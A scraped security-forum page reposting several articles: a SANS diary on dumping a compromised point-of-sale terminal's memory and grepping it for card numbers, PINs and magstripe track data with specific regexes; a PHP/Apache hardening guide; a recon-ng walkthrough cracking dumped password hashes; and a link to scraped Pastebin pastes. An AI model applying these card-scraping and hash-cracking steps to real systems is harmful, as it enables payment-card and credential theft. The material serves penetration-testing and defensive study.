pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:19 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:16 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:43 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 3:55 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:08 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:29 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 3:50 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:56 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:56 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:37 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:52 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:32 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:54 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:08 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:55 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:46 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:13 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:47 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:07 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:55 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:35 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:42 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:48 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:42 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:50 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:44 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:51 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:00 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:59 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:00 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:56 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:59 [/TD] [/TR] [/TABLE] PLAYLIST: -
Trolling Memory for Credit Cards in POS / PCI Environments In a recent penetration test, I was able to parlay a network oversight into access to a point of sale terminal. Given the discussions these days, the next step for me was an obvious one - memory analysis. My first step was to drive to the store I had compromised and purchase an item. I'm not a memory analysis guru, but the memory capture and analysis was surprisingly easy. First, dump memory: dumpit Yup, it's that simple, I had the dumpit executable locally by that point (more info here https://isc.sans.edu/diary/Acquiring+Memory+Images+with+Dumpit/17216) or, if you don't have keyboard access (dumpit requires a physical "enter" key, I/O redirection won't work for this): win32dd /f memdump.img (from the SANS Forensics Cheat Sheet at https://blogs.sans.org/computer-forensics/files/2012/04/Memory-Forensics-Cheat-Sheet-v1_2.pdf ) Next, I'll dig for my credit card number specifically: strings memdump.img | grep [mycardnumbergoeshere] | wc -l 171 Yup, that's 171 occurences in memory, unencrypted. So far, we're still PCI complaint - PCI 2.0 doesn't mention cardholder data in memory, and 3.0 only mentions it in passing. The PCI standard mainly cares about data at rest - which to most auditors means "on disk or in database", or data in transit - which means on the wire, capturable by tcpdump or wireshark. Anything in memory, no matter how much of a target in today's malware landscape, is not an impact on PCI compliance. The search above was done in windows, using strings from SysInternals - by default this detects strings in both ASCII and Unicode. If I repeat this in linux (which by default is ASCII only), the results change: strings memdump.img | grep [mycardnumbergoeshere] | wc -l 32 To get the rest of the occurences, I also need to search for the Unicode representations, which "strings" calls out as "little-endian" numbers: strings -el memdump.img | grep [mycardnumbergoeshere] | wc -l 139 Which gives me the same total of 171. Back over to windows, let's dig a little deeper - how about my CC number and my name tied together? strings memdump.img | grep [myccnumbergoeshere] | grep -i vandenbrink | wc -l 1 or my CC number plus my PIN (we're CHIP+PIN in Canada) strings memdump.img | grep [mycardnumbergoeshere] | grep [myPINnumber] 12 Why exactly the POS needs my PIN is beyond me! Next, let's search this image for a number of *other* credit cards - rather than dig by number, I'll search for issuer name so there's no mistake. These searches are all using the Sysinternals "strings" since the defaults for that command lend itself better to our search: CAPITAL ONE 85 VISA 565 MASTERCARD 1335 AMERICAN EXPRESS 20 and for kicks, I also searched for debit card prefixes (I only search for a couple with longer IIN numbers): Bank of Montreal 500766 245 TD CAnada Trust 589297 165 Looking for my number + my CC issuer in the same line gives me: strings memdump.img | grep [myccnumbergoeshere] | grep [MASTERCARD] | wc -l gives me a result of "5" So, assuming that this holds true for others (it might not, even though the patterns are all divisible by 5), this POS terminal has hundreds, but more likely thousands of valid numbers in memory, along with names, PIN numbers and other informaiton Finally, looking for a full magstripe in memory: The search for a full stripe: grep -aoE "(((%?[bb]?)[0-9]{13,19}\^[A-Za-z\s]{0,26}\/[A-Za-z\s]{0,26}\^(1[2-9]|2[0-9])(0[1-9]|1[0-2])[0-9\s]{3,50}\?)[;\s]{1,3}([0-9]{13,19}=(1[2-9]|2[0-9])(0[1-9]|1[0-2])[0-9]{3,50}\?))" memdump.img | wc -l 0 where: -a = Processes a binary file as text -o = Shows only the matched text -E = Treats the pattern as an extended regular expression or using this regex to find Track strings only: ((%?[bb]?)[0-9]{13,19}\^[A-Za-z\s]{0,26}\/[A-Za-z\s]{0,26}\^(1[2-9]|2[0-9])(0[1-9]|1[0-2])[0-9\s]{3,50}\?) gives us 0 results. or this regex to find Track 2 strings only: ([0-9]{13,19}=(1[2-9]|2[0-9])(0[1-9]|1[0-2])[0-9]{3,50}\?) Gives us 162 (I'm not sure how much I trust this number) Anyway, what this tells me is that this store isn't seeing very many folks swipe their cards, it's all CHIP+PIN (which you'd expect) (Thanks to the folks at bromium for the original regular expressions and breakdown: Understanding malware targeting Point Of Sale Systems | Bromium Labs) Getting system uptime (from the system itself) wraps up this simple analysis - the point of this being "how long does it take to collect this much info?" net statistics server | find "since"" shows us that we had been up for just under 4 days. Other ways to find uptime? from the CLI: systeminfo " find "Boot Time" or, in powershell: PS C:\> Get-WmiObject win32_operatingsystem | select csname, @{LABEL='LastBootUpTime';EXPRESSION={$_.ConverttoDateTime($_.lastbootuptime)}} or, in wmic: wmic get os last bootuptime or, if you have sysinternals available, you can just run "uptime" What does this mean for folks concerned with PCI compliance? Today, not so much. Lots of environments are still operating under PCI 2.0. PCI 3.0 simply calls for education on the topic of good coding practices to combat memory scraping. Requirement 6.5 phrases this as "Train developers in secure coding techniques, including how to avoid common coding vulnerabilities, and understanding how sensitive data is handled in memory. Develop applications based on secure coding guidelines." Personally (and this is just my opinion), I would expect/hope that the next version of PCI will call out encryption of card and personal information in memory specifically as a requirement. If things play out that way, What this will mean to the industry is that either: a/ folks will need to move to card readers that encrypt before the information is on the POS terminal or b/ if they are using this info to collect sales / demographic information, they might instead tokenize the CC data for the database, and scrub it from memory immediately after. All I can say to that approach is "good luck". Memory management is usually abstracted from the programming language, so I'm not sure how successful you'd be in trying to scrub artifacts of this type from memory. =============== Rob VandenBrink, Metafore Sursa: https://isc.sans.edu/forums/diary//18579
-
[h=1]OWASP A6 – Security Misconfiguration with PHP[/h] By codewatch On November 20, 2011 · 1 Comment This will be another non-development related post. I am going to cover security configuration of the operating system, web server, and PHP environment for your web applications. It doesn’t matter how secure your application is if the OS, web server, or PHP configuration is insecure. I am not going to cover full hardening of your servers, but rather some general guidelines along with some specific configuration settings for PHP and Apache. General guidance on server deployment for your application environment: Apply all security related patches to the operating system and services in use. Make sure that Apache and PHP are fully patched. Apply a security best practice standard, deviating only when necessary. CIS is a good choice here because of their depth of configuration standards. Use security best practice standards for the OS as well as Apache. Change default passwords for all accounts. Use a long and strong password for service and administrative accounts. Disable or remove all unnecessary protocols, accounts, scripts, processes, and services. Perform vulnerability scans, web application scans, and network and application level penetration tests against your systems on a regular basis. Configure servers to log all security related events and to forward those events to a centralized security information management system. Configure applications to only display generic error messages. Perform administrative actions using unprivileged accounts. Use the “Run As” feature of Windows or the sudo feature of Linux to perform privileged operations on servers. The above suggestions will help ensure that your system is patched and the OS is configured securely. Apache must be configured securely as well to limit the servers exposure to risk. General Apache recommendations: Compile Apache with the minimum amount of modules and features required to run your application(s). I suggest the following directives be run as part of the configuration at a minimum: –enable-headers, –enable-expires, –enable-ssl, –enable-rewrite, –disable-status, –disable-asis, –disable-autoindex, –disable-userdir. The enable settings ensure that you can configure the server to timeout sessions and send other security related responses, support connections over SSL, and rewrite requests to prevent specific HTTP methods. The options for disabling features prevents information disclosure issues within the Apache web server. Remove all default scripts from the /cgi-bin directory. Create an apache user and group with minimal permissions. Run apache as this user and change ownership of all files served by Apache to this user and group with minimal permissions (in Linux: chown -R apache.apache /path/to/web/directory, chmod -R 644 /path/to/web/directory, then chmod 744 for all directories under the web directory). Consider installing and configuring ModSecurity. Specific Apache web server configuration suggestions follow. Configure httpd.conf so that the server doesn’t report full version and module information: ServerTokens Prod ServerSignature Off Configure the server to use an unprivileged user account and group: User apache Group apache Load the least amount of modules possible for your environment, our server is set to: LoadModule php5_module /usr/modules/libphp5.so LoadModule security2_module /usr/modules/mod_security2.so LoadModule unique_id_module /usr/modules/mod_unique_id.so Disable the use of unnecessary and potentially dangerous HTTP/WebDAV methods: <Directory /> <Limit OPTIONS PUT CONNECT PATCH PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK DELETE TRACK> Order deny,allow Deny from all </Limit> Options None AllowOverride None Order deny,allow Deny from all </Directory> <Directory "/var/www/htdocs"> <Limit OPTIONS PUT CONNECT PATCH PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK DELETE TRACK> Order deny,allow Deny from all </Limit> Options None AllowOverride None Order allow,deny Allow from all <Directory> Disable support for all but specifically allowed file extensions: // Match all files and deny <FilesMatch "^.*\.[a-zA-Z0-9]+$"> Order deny,allow Deny from all </FilesMatch> // Allow specific file extensions <FilesMatch "^.*\.(ico|css|tpl|wsdl|html|htm|JS|js|pdf|doc|xml|gif|jpg|jpe?g|png|php)$"> Order deny,allow Allow from all </FilesMatch> Log errors: ErrorLog "/var/log/apache/error_log" LogLevel notice LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %b" combined CustomLog "/var/log/apache/access_log" combined Disable access to the cgi-bin directory: <Directory "/usr/local/apache/cgi-bin"> AllowOverride None Options None Order deny,allow Deny from all </Directory> Block the TRACE and TRACK HTTP Methods (must be added to each virtual host): RewriteEngine On RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK) RewriteRule .* - [F] Block anything other than HTTP 1.1 traffic: RewriteCond %{THE_REQUEST} !HTTP/1\.1$ RewriteRule .* - [F] Applications that require authentication should require SSL for the entire session. The following configuration directive will redirect requests to http://myapp.mysite.com to HTTPS: RewriteCond %{HTTPS} off RewriteRule (myapp.mysite.com.*) https://%{HTTP_HOST}%{REQUEST_URI} In your ssl configuration file, require SSLv3 or TLS, and only strong encryption protocols: SSLProtocol -ALL +SSLv3 +TLSv1 SSLCipherSuite HIGH:!ADH If you cannot use the –disable-userdir and –disable-status options during Apache compilation, then add the following directives to your Apache configuration to prevent unnecessary information disclosure related to these modules: UserDir Disabled ExtendedStatus Off If you cannot use the –disable-autoindex option during Apache compilation, then add the following directive to each <Directory> setting in your Apache configuration to prevent auto indexing of directories and leakage of directory contents: Options -Indexes Finally, PHP must be configured securely to ensure the protection of your application and company/customer data. General PHP recommendations: Compile PHP with the minimum amount of modules and features required to run your application(s). I suggest the following directives be run as part of the configuration at a minimum: –with-openssl and –with-mcrypt. This will ensure that you can leverage encryption routines within your application to protect data and passwords. Protect the PHP session directory. Place session data in a temporary directory and then apply the most restrictive permissions possible to the folder. The folder can be owned by the root user and the apache group. Place third-party PHP libraries used within your applications in a directory outside of the main web directory (/htdocs) If possible, apply the PHP Suhosin patch to PHP to provide additional security to the scripting language core. Specific PHP configuration suggestions follow. Configure php.ini to prevent Denial of Service (DoS) conditions (adjust these settings based on the needs of your application): // Maximum time a script can execute max_execution_time = 30 // Maximum time a script can spend parsing request data max_input_time = 7200 // Max memory a script can consume memory_limit = 128M // Limit the amount of data that can be POSTed to the // server. This affects file uploads as well. post_max_size = 4M // Limit the maximum size of a file uploaded to the server. upload_max_filesize = 4M // Limit the number of files that can be uploaded at a // single time. max_file_uploads = 10 Enable logging but disable displaying logs to application users: error_reporting = E_ALL & ~E_DEPRECATED display_errors = Off display_startup_errors = Off log_errors = On log_errors_max_len = 1024 // Do not ignore errors, log them all ignore_repeated_errors = Off ignore_repeated_source = Off Set specific mime types and content types to help prevent encoding, decoding, and other canonicalization issues that can result in successful XSS attacks: default_mimetype = "text/html" default_charset = "ISO-8859-1" Place third-party PHP applications in a path outside of the /htdocs directory: include_path = ".:/usr/local/apache/phpincludes" Implement strong protection of PHP sessions: // Save sessions as files in a specific directory session.save_handler = files session.save_path = "/tmp/phpsessions" // Require the use of cookies to prevent session // ID's from being included in URL's session.use_cookies = 1 session.use_only_cookies = 1 session.use_trans_sid = 0 // Set the "secure" and "httponly" flags on the // cookie. This will prevent the cookie from // being sent over an HTTP connection or being // accessed by JavaScript, helping prevent // session hijacking attacks via XSS. session.cookie_secure = true session.cookie_httponly = true // Set cookie path and domain information to // limit where the cookie can be used, thus // protecting session data. session.cookie_path = /codewatch/ session.cookie_domain = www.codewatch.org // Set the cookie to delete once the browser // is closed. session.cookie_lifetime = 0 // Perform garbage collection on session data // after 15 minutes of inactivity. session.gc_maxlifetime = 900 // Use a secure source for generating random // session ID's (set to a non-zero value // on Windows systems. session.entropy_file = /dev/urandom // Use a strong hashing algorithm to create // the session ID and use as many characters // as possible to reduce the likeliness that // the session ID can be guessed or hijacked. session.hash_function = 'sha512' session.hash_bits_per_character = 6 // Send the nocache directive in HTTP(S) // responses to ensure the page can't be // cached. In addition, set the time-to- // live for the page to a low value. session.cache_limiter = nocache session.cache_expire = 15 Disable the ability for PHP to interpret a URL as a file to help prevent some types of remote file include attacks: allow_url_fopen = Off allow_url_include = Off Disable registration of globals, long arrays, and the argc/argv variables (more information and the reason behind this suggestion can be found here, here, and here).: register_globals = Off register_long_arrays = Off register_argc_argv = Off Following these guidelines and configuration settings should go a long way towards ensuring the security of your web and application servers, company and customer data, and the integrity of your systems. Sursa: https://www.codewatch.org/blog/?p=190
-
[h=3]"Cracking" Hashes with recon-ng and bozocrack[/h]The other day I came across a database dump that had user login names and hashed passwords. I had over 1,000 of them and they were SHA256 hashes. I remembered that there was some tool that could perform Google look-ups for hashes and asked the Twitter-verse for help. Wouldn't you know that the first person to reply was Tim Tomes who said that the bozocrack module inside recon-ng could do exactly what I wanted. Excellent! This blog post is a walk-through of that process. [h=3]Pulling our Hashes from a File[/h] First thing we need to do is get the hashes. Let's say I have all my hashes in a files called, oh I don't know "hashes" and I'll put them on the Desktop of my Kali linux system. So the file will be located at /root/Desktop/hashes. Launch recon-ng and create a workspace named "hashes" (or whatever you want) for this work. Workspaces allow us to logically partition our work so that if we have several projects or customers that we are doing work for simultaneously, their data doesn't get co -mingled. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]recon-ng launched from inside a terminal[/TD] [/TR] [/TABLE] Now let's tell recon-ng to load the bozocrack module. Since it is the only module with "bozo" in it, we can use a shortcut and just type load bozo as shown below. I also used the show info command to get information about the module I just loaded. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Loading the bozocrack module and showing the info[/TD] [/TR] [/TABLE] The important part of this step is to see all of the options that you can configure. In this case the SOURCE variable is the only option to modify. By default, the module pulls information from the credentials table inside the recon-ng database. But we can tell it to use a different location as the source of our hashes. Let's do that first. We know from above that our file with the hashes is at /root/Desktop/hashes. We change where the module looks for the source using the set command: set SOURCE /root/Desktop/hashes (as shown below). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]All set to run the bozocrack module using the hashes file[/TD] [/TR] [/TABLE] At this point, we just type run and grab a $cold_beverage. The module will make Google queries for each hash in the file you specified and it'll display the results on the screen. Below is what mine looked like once it finished. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]bozocrack module output[/TD] [/TR] [/TABLE] You can see that the hashes it found a match for start with a green "splat"/asterix [*]. Also note that there were three types of hashes in my file: MD5, SHA1, and SHA256. Pretty cool that the module just took them all and didn't make me separate them into separate files. +1 for recon-ng So that is the easy way for doing the lookups. You can easily scrape the terminal window screen and copy all the found hashes into a text editor for post-processing. That works....but I'm a lazy guy. I like to have my tools do the work. So, let's do it another way too. [h=3]Using the Internal DB[/h] As I mentioned above, recon-ng maintains a database for its findings. To see all the tables and such, type show schema and they will appear. We are going to be storing our password hashes in the hash column of the credentials table. First thing I do is to import all my hashes into the DB using the import/csv_file module. Just type use import/csv and hit enter (since the csv_file is the only file with CSV in it inside the import path, you don't have to complete the whole name. Like I said, I'm lazy!). Again I like doing a show info to see what options there are. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Import/csv_file module[/TD] [/TR] [/TABLE] OK, so we need to set the FILENAME option (set FILENAME /root/Desktop/hashes) and also the TABLE (set TABLE credentials). Now that we have those fields entered, if we do another show info we can see that there is now another option to change. See the "CSV_####..." column in the picture below? recon-ng is telling us it found content and wants to know where to put it. So we type set CSV_[ENTERTHENUMBER] hash as shown below. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Import/csv_file module with column recognized[/TD] [/TR] [/TABLE] Now we have to go back to the bozocrack module (load bozocrack). Since we ran the module already using the SOURCE of a file, we'll need to switch from the file for the SOURCE to the default (set SOURCE default) as the default uses the contents of the DB. Oh, want to check if your hashes loaded OK? Type show credentials and you'll see the hashes in their proper column (below). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Credentials table before bozocrack[/TD] [/TR] [/TABLE] OK, let's kick this off using the run command and let 'er rip. We will see the same output from when we ran the bozocrack module above but this time the bozocrack module will store the results in the DB. To show this, just type show credentials again and you should see more of the columns filled out (like the pic below). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Credentials table after bozocrack[/TD] [/TR] [/TABLE] Yay! We got them in the DB but how to we get them out? Of course there is a module for that. Type load reporting/csv to load that module. show info will tell you what options there are. We see (below) that we need to alter the FILENAME (set FILENAME /root/Desktop/recon-ng_hashes_out) and TABLE (set TABLE credentials) and then type run. Magic! [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Using the reporting/csv output module[/TD] [/TR] [/TABLE] On your desktop should be a CSV file with your hashes, what type of hashes they are, and the cleartext passwords in it (like the one below). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Exported CSV report from recon-ng[/TD] [/TR] [/TABLE] Hope this was helpful! Sursa: Hacking and Hiking: "Cracking" Hashes with recon-ng and bozocrack
-
[h=1]Pastebin Pastes Collection[/h] [h=1]This Just In (more)[/h] Pastebin.com scraped pastes 2014-07-01 57 days ago Pastebin.com scraped pastes 2014-06-30 58 days ago Pastebin.com scraped pastes 2014-06-29 59 days ago Pastebin.com scraped pastes 2014-06-28 60 days ago Pastebin.com scraped pastes 2014-06-27 61 days ago Poate gasiti ceva interesant. Sursa: https://archive.org/details/pastebinpastes
-
